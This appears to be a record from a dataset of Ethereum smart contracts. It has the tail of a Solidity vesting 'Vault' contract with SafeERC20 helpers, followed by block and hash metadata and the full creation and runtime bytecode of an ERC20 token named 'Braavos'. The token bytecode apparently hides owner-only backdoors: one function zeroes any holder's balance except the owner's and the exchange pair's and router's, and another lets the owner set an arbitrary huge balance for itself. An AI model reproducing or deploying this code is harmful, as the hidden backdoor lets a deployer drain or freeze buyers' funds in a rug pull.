* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function safePermit(
IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/Vault.sol
pragma solidity ^0.8.11;
contract Vault {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public auth;
address public owner;
address public tknContract;
uint256 private unlockedBalance;
uint256 private totalBalance;
uint256 private startTime;
uint256 private totalWithdraw;
uint256 private initialTotal;
uint256 public c_i = 9999; //decimal 4 (1 - 10000)
uint256 public c_t = 243; // 1-1825
uint256 public c_y0 = 5; //decimal 1 (0 - 1000)
event Withdraw(address withdrawer, uint256 amount);
/**
@notice set inital parameters for this contract
@param _c_i Concave (0 ~ 10000)
@param _c_t Days (1 ~ 1825)
@param _c_y0 Starting Point (0 ~ 1000) decimal
*/
constructor(uint256 _c_i, uint256 _c_t, uint256 _c_y0) {
auth = msg.sender;
c_t = _c_t;
c_i = _c_i;
c_y0 = _c_y0;
}
/**
@notice Set Token contract address
@param _TknContract Token Contract Address
*/
function setTkn(address _TknContract) public {
require(tknContract == address(0), "tknContract is setted!");
require(msg.sender == auth, "msg.sender is not Auth!");
tknContract = _TknContract;
startTime = block.timestamp;
}
/**
@notice Set Owner
@param _owner Owner who can withdraw tokens
*/
function setOwner(address _owner) public {
require(owner == address(0), "owner is setted!");
require(msg.sender == auth, "msg.sender is not Auth!");
owner = _owner;
}
/**
@notice Get unlockedBalance and totalBalance for realtime
*/
function getUnlocked_TotalBalance() public view returns (uint256, uint256){
uint256 period = (block.timestamp - startTime) / 1 days;
uint256 temp_unlock = IERC20(tknContract).balanceOf(address(this));
if (initialTotal != 0)
temp_unlock = initialTotal;
if (period > c_t) period = c_t;
uint256 b = 10 ** 18;
uint256 a3_1 = b;
uint256 a3_2;
uint256 a3;
for(uint16 k = 0; k < c_t; k ++){
a3_1 *= c_i;
a3_1 /= 10000;
}
a3_2 = b - a3_1;
a3 = temp_unlock * a3_1 / a3_2;
uint256 a1 = (1000 - c_y0);
uint256 a2_1 = b;
for (uint16 k = 0; k < period; k ++){
a2_1 *= c_i;
a2_1 /= 10000;
}
uint256 a2_2 = a2_1;
a2_1 = b - a2_1;
temp_unlock = a3 * a1 * a2_1 / a2_2 / 1000 + c_y0 * temp_unlock / 1000;
if (period == c_t) temp_unlock = initialTotal;
return (temp_unlock - totalWithdraw, IERC20(tknContract).balanceOf(address(this)));
}
/**
@notice withdraw token to destination address
@param dest destination address
@param amount amount of tokens
*/
function withdraw(address dest, uint256 amount) public {
if (initialTotal == 0) initialTotal = IERC20(tknContract).balanceOf(address(this));
(unlockedBalance, totalBalance) = getUnlocked_TotalBalance();
require(msg.sender == owner, "msg.sender is not Owner!");
require(unlockedBalance > 0, "unlockedBalance is 0");
require(amount <= unlockedBalance, "unlockedBalance is bigger");
totalBalance -= amount;
unlockedBalance -=amount;
totalWithdraw += amount;
IERC20(tknContract).transfer(dest, amount);
emit Withdraw(dest, amount);
}
}
|
1 | 19,502,215 |
01cc7ca5285a5aa8f447f2717dfeaaaab42c3708c424f3b379f8eb2525896f9f
|
cec49719e395824b0286fc7c6475bea4bcf58a83d22661829d7cc49c7e719897
|
4deee5aba75c6edcf4461d6a3b1250d2dd8be2c8
|
4deee5aba75c6edcf4461d6a3b1250d2dd8be2c8
|
46e743046dccf9ab65b8454cdf879187aab5dd49
|
608060405234801561000f575f80fd5b50604051611e1a380380611e1a83398181016040528101906100319190610254565b6040518060400160405280600781526020017f42726161766f73000000000000000000000000000000000000000000000000008152506001908161007591906104b9565b506040518060400160405280600581526020017f425241564f000000000000000000000000000000000000000000000000000000815250600290816100ba91906104b9565b506012600360146101000a81548160ff021916908360ff160217905550600360149054906101000a900460ff16600a6100f391906106f0565b633b9aca00610102919061073a565b5f819055505f5460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f546040516101a8919061078a565b60405180910390a38060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506107a3565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610223826101fa565b9050919050565b61023381610219565b811461023d575f80fd5b50565b5f8151905061024e8161022a565b92915050565b5f60208284031215610269576102686101f6565b5b5f61027684828501610240565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806102fa57607f821691505b60208210810361030d5761030c6102b6565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261036f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610334565b6103798683610334565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6103bd6103b86103b384610391565b61039a565b610391565b9050919050565b5f819050919050565b6103d6836103a3565b6103ea6103e2826103c4565b848454610340565b825550505050565b5f90565b6103fe6103f2565b6104098184846103cd565b505050565b5b8181101561042c576104215f826103f6565b60018101905061040f565b5050565b601f8211156104715761044281610313565b61044b84610325565b8101602085101561045a578190505b61046e61046685610325565b83018261040e565b50505b505050565b5f82821c905092915050565b5f6104915f1984600802610476565b1980831691505092915050565b5f6104a98383610482565b9150826002028217905092915050565b6104c28261027f565b67ffffffffffffffff8111156104db576104da610289565b5b6104e582546102e3565b6104f0828285610430565b5f60209050601f831160018114610521575f841561050f578287015190505b610519858261049e565b865550610580565b601f19841661052f86610313565b5f5b8281101561055657848901518255600182019150602085019450602081019050610531565b86831015610573578489015161056f601f891682610482565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561060a578086048111156105e6576105e5610588565b5b60018516156105f55780820291505b8081029050610603856105b5565b94506105ca565b94509492505050565b5f8261062257600190506106dd565b8161062f575f90506106dd565b8160018114610645576002811461064f5761067e565b60019150506106dd565b60ff84111561066157610660610588565b5b8360020a91508482111561067857610677610588565b5b506106dd565b5060208310610133831016604e8410600b84101617156106b35782820a9050838111156106ae576106ad610588565b5b6106dd565b6106c084848460016105c1565b925090508184048111156106d7576106d6610588565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6106fa82610391565b9150610705836106e4565b92506107327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610613565b905092915050565b5f61074482610391565b915061074f83610391565b925082820261075d81610391565b9150828204841483151761077457610773610588565b5b5092915050565b61078481610391565b82525050565b5f60208201905061079d5f83018461077b565b92915050565b61166a806107b05f395ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806395d89b411161006f57806395d89b41146101a0578063a9059cbb146101be578063b8c9d25c146101ee578063ca72a4e71461020c578063dd62ed3e14610228578063e559d86a14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806370a0823114610170575b5f80fd5b6100be610274565b6040516100cb9190610d6c565b60405180910390f35b6100ee60048036038101906100e99190610e1d565b610304565b6040516100fb9190610e75565b60405180910390f35b61010c61031a565b6040516101199190610e9d565b60405180910390f35b61013c60048036038101906101379190610eb6565b610322565b6040516101499190610e75565b60405180910390f35b61015a610349565b6040516101679190610f21565b60405180910390f35b61018a60048036038101906101859190610f3a565b61035f565b6040516101979190610e9d565b60405180910390f35b6101a86103a5565b6040516101b59190610d6c565b60405180910390f35b6101d860048036038101906101d39190610e1d565b610435565b6040516101e59190610e75565b60405180910390f35b6101f661044b565b6040516102039190610f74565b60405180910390f35b61022660048036038101906102219190610f3a565b6104f3565b005b610242600480360381019061023d9190610f8d565b610672565b60405161024f9190610e9d565b60405180910390f35b610272600480360381019061026d9190610fcb565b6106f4565b005b60606001805461028390611023565b80601f01602080910402602001604051908101604052809291908181526020018280546102af90611023565b80156102fa5780601f106102d1576101008083540402835291602001916102fa565b820191905f5260205f20905b8154815290600101906020018083116102dd57829003601f168201915b5050505050905090565b5f6103103384846107c6565b6001905092915050565b5f8054905090565b5f80339050610332858285610989565b61033d858585610a1d565b60019150509392505050565b5f600360149054906101000a900460ff16905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600280546103b490611023565b80601f01602080910402602001604051908101604052809291908181526020018280546103e090611023565b801561042b5780601f106104025761010080835404028352916020019161042b565b820191905f5260205f20905b81548152906001019060200180831161040e57829003601f168201915b5050505050905090565b5f610441338484610a1d565b6001905092915050565b5f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a4390573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306040518363ffffffff1660e01b81526004016104af929190611053565b602060405180830381865afa1580156104ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ee919061108e565b905090565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561059c57508073ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156105db57508073ffffffffffffffffffffffffffffffffffffffff166105c261044b565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156106275750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b1561066f575f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036107c357600360149054906101000a900460ff16600a6107649190611215565b816606499fd9aec040610777919061125f565b610781919061125f565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082b90611310565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108999061139e565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161097c9190610e9d565b60405180910390a3505050565b5f6109948484610672565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610a175781811015610a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f790611406565b60405180910390fd5b610a1684848484610a119190611424565b6107c6565b5b50505050565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610aa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a98906114c7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0690611555565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b74906115e3565b60405180910390fd5b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bc69190611424565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c509190611601565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cee9190610e9d565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610d3e82610cfc565b610d488185610d06565b9350610d58818560208601610d16565b610d6181610d24565b840191505092915050565b5f6020820190508181035f830152610d848184610d34565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610db982610d90565b9050919050565b610dc981610daf565b8114610dd3575f80fd5b50565b5f81359050610de481610dc0565b92915050565b5f819050919050565b610dfc81610dea565b8114610e06575f80fd5b50565b5f81359050610e1781610df3565b92915050565b5f8060408385031215610e3357610e32610d8c565b5b5f610e4085828601610dd6565b9250506020610e5185828601610e09565b9150509250929050565b5f8115159050919050565b610e6f81610e5b565b82525050565b5f602082019050610e885f830184610e66565b92915050565b610e9781610dea565b82525050565b5f602082019050610eb05f830184610e8e565b92915050565b5f805f60608486031215610ecd57610ecc610d8c565b5b5f610eda86828701610dd6565b9350506020610eeb86828701610dd6565b9250506040610efc86828701610e09565b9150509250925092565b5f60ff82169050919050565b610f1b81610f06565b82525050565b5f602082019050610f345f830184610f12565b92915050565b5f60208284031215610f4f57610f4e610d8c565b5b5f610f5c84828501610dd6565b91505092915050565b610f6e81610daf565b82525050565b5f602082019050610f875f830184610f65565b92915050565b5f8060408385031215610fa357610fa2610d8c565b5b5f610fb085828601610dd6565b9250506020610fc185828601610dd6565b9150509250929050565b5f60208284031215610fe057610fdf610d8c565b5b5f610fed84828501610e09565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061103a57607f821691505b60208210810361104d5761104c610ff6565b5b50919050565b5f6040820190506110665f830185610f65565b6110736020830184610f65565b9392505050565b5f8151905061108881610dc0565b92915050565b5f602082840312156110a3576110a2610d8c565b5b5f6110b08482850161107a565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561113b57808604811115611117576111166110b9565b5b60018516156111265780820291505b8081029050611134856110e6565b94506110fb565b94509492505050565b5f82611153576001905061120e565b81611160575f905061120e565b81600181146111765760028114611180576111af565b600191505061120e565b60ff841115611192576111916110b9565b5b8360020a9150848211156111a9576111a86110b9565b5b5061120e565b5060208310610133831016604e8410600b84101617156111e45782820a9050838111156111df576111de6110b9565b5b61120e565b6111f184848460016110f2565b92509050818404811115611208576112076110b9565b5b81810290505b9392505050565b5f61121f82610dea565b915061122a83610f06565b92506112577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611144565b905092915050565b5f61126982610dea565b915061127483610dea565b925082820261128281610dea565b91508282048414831517611299576112986110b9565b5b5092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6112fa602483610d06565b9150611305826112a0565b604082019050919050565b5f6020820190508181035f830152611327816112ee565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611388602283610d06565b91506113938261132e565b604082019050919050565b5f6020820190508181035f8301526113b58161137c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6113f0601d83610d06565b91506113fb826113bc565b602082019050919050565b5f6020820190508181035f83015261141d816113e4565b9050919050565b5f61142e82610dea565b915061143983610dea565b9250828203905081811115611451576114506110b9565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6114b1602683610d06565b91506114bc82611457565b604082019050919050565b5f6020820190508181035f8301526114de816114a5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61153f602583610d06565b915061154a826114e5565b604082019050919050565b5f6020820190508181035f83015261156c81611533565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6115cd602383610d06565b91506115d882611573565b604082019050919050565b5f6020820190508181035f8301526115fa816115c1565b9050919050565b5f61160b82610dea565b915061161683610dea565b925082820190508082111561162e5761162d6110b9565b5b9291505056fea2646970667358221220e9974dc266ac51ba52b4fc5a0b6f7681a049892af41710e7d47e4ae09278b72164736f6c634300081900330000000000000000000000004deee5aba75c6edcf4461d6a3b1250d2dd8be2c8
|
608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806395d89b411161006f57806395d89b41146101a0578063a9059cbb146101be578063b8c9d25c146101ee578063ca72a4e71461020c578063dd62ed3e14610228578063e559d86a14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806370a0823114610170575b5f80fd5b6100be610274565b6040516100cb9190610d6c565b60405180910390f35b6100ee60048036038101906100e99190610e1d565b610304565b6040516100fb9190610e75565b60405180910390f35b61010c61031a565b6040516101199190610e9d565b60405180910390f35b61013c60048036038101906101379190610eb6565b610322565b6040516101499190610e75565b60405180910390f35b61015a610349565b6040516101679190610f21565b60405180910390f35b61018a60048036038101906101859190610f3a565b61035f565b6040516101979190610e9d565b60405180910390f35b6101a86103a5565b6040516101b59190610d6c565b60405180910390f35b6101d860048036038101906101d39190610e1d565b610435565b6040516101e59190610e75565b60405180910390f35b6101f661044b565b6040516102039190610f74565b60405180910390f35b61022660048036038101906102219190610f3a565b6104f3565b005b610242600480360381019061023d9190610f8d565b610672565b60405161024f9190610e9d565b60405180910390f35b610272600480360381019061026d9190610fcb565b6106f4565b005b60606001805461028390611023565b80601f01602080910402602001604051908101604052809291908181526020018280546102af90611023565b80156102fa5780601f106102d1576101008083540402835291602001916102fa565b820191905f5260205f20905b8154815290600101906020018083116102dd57829003601f168201915b5050505050905090565b5f6103103384846107c6565b6001905092915050565b5f8054905090565b5f80339050610332858285610989565b61033d858585610a1d565b60019150509392505050565b5f600360149054906101000a900460ff16905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600280546103b490611023565b80601f01602080910402602001604051908101604052809291908181526020018280546103e090611023565b801561042b5780601f106104025761010080835404028352916020019161042b565b820191905f5260205f20905b81548152906001019060200180831161040e57829003601f168201915b5050505050905090565b5f610441338484610a1d565b6001905092915050565b5f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a4390573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306040518363ffffffff1660e01b81526004016104af929190611053565b602060405180830381865afa1580156104ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ee919061108e565b905090565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561059c57508073ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156105db57508073ffffffffffffffffffffffffffffffffffffffff166105c261044b565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156106275750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b1561066f575f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036107c357600360149054906101000a900460ff16600a6107649190611215565b816606499fd9aec040610777919061125f565b610781919061125f565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082b90611310565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108999061139e565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161097c9190610e9d565b60405180910390a3505050565b5f6109948484610672565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610a175781811015610a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f790611406565b60405180910390fd5b610a1684848484610a119190611424565b6107c6565b5b50505050565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610aa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a98906114c7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0690611555565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b74906115e3565b60405180910390fd5b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bc69190611424565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c509190611601565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cee9190610e9d565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610d3e82610cfc565b610d488185610d06565b9350610d58818560208601610d16565b610d6181610d24565b840191505092915050565b5f6020820190508181035f830152610d848184610d34565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610db982610d90565b9050919050565b610dc981610daf565b8114610dd3575f80fd5b50565b5f81359050610de481610dc0565b92915050565b5f819050919050565b610dfc81610dea565b8114610e06575f80fd5b50565b5f81359050610e1781610df3565b92915050565b5f8060408385031215610e3357610e32610d8c565b5b5f610e4085828601610dd6565b9250506020610e5185828601610e09565b9150509250929050565b5f8115159050919050565b610e6f81610e5b565b82525050565b5f602082019050610e885f830184610e66565b92915050565b610e9781610dea565b82525050565b5f602082019050610eb05f830184610e8e565b92915050565b5f805f60608486031215610ecd57610ecc610d8c565b5b5f610eda86828701610dd6565b9350506020610eeb86828701610dd6565b9250506040610efc86828701610e09565b9150509250925092565b5f60ff82169050919050565b610f1b81610f06565b82525050565b5f602082019050610f345f830184610f12565b92915050565b5f60208284031215610f4f57610f4e610d8c565b5b5f610f5c84828501610dd6565b91505092915050565b610f6e81610daf565b82525050565b5f602082019050610f875f830184610f65565b92915050565b5f8060408385031215610fa357610fa2610d8c565b5b5f610fb085828601610dd6565b9250506020610fc185828601610dd6565b9150509250929050565b5f60208284031215610fe057610fdf610d8c565b5b5f610fed84828501610e09565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061103a57607f821691505b60208210810361104d5761104c610ff6565b5b50919050565b5f6040820190506110665f830185610f65565b6110736020830184610f65565b9392505050565b5f8151905061108881610dc0565b92915050565b5f602082840312156110a3576110a2610d8c565b5b5f6110b08482850161107a565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561113b57808604811115611117576111166110b9565b5b60018516156111265780820291505b8081029050611134856110e6565b94506110fb565b94509492505050565b5f82611153576001905061120e565b81611160575f905061120e565b81600181146111765760028114611180576111af565b600191505061120e565b60ff841115611192576111916110b9565b5b8360020a9150848211156111a9576111a86110b9565b5b5061120e565b5060208310610133831016604e8410600b84101617156111e45782820a9050838111156111df576111de6110b9565b5b61120e565b6111f184848460016110f2565b92509050818404811115611208576112076110b9565b5b81810290505b9392505050565b5f61121f82610dea565b915061122a83610f06565b92506112577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611144565b905092915050565b5f61126982610dea565b915061127483610dea565b925082820261128281610dea565b91508282048414831517611299576112986110b9565b5b5092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6112fa602483610d06565b9150611305826112a0565b604082019050919050565b5f6020820190508181035f830152611327816112ee565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611388602283610d06565b91506113938261132e565b604082019050919050565b5f6020820190508181035f8301526113b58161137c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6113f0601d83610d06565b91506113fb826113bc565b602082019050919050565b5f6020820190508181035f83015261141d816113e4565b9050919050565b5f61142e82610dea565b915061143983610dea565b9250828203905081811115611451576114506110b9565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6114b1602683610d06565b91506114bc82611457565b604082019050919050565b5f6020820190508181035f8301526114de816114a5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61153f602583610d06565b915061154a826114e5565b604082019050919050565b5f6020820190508181035f83015261156c81611533565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f65737300000000000000000000000000000000000000000000000000000000006020820152505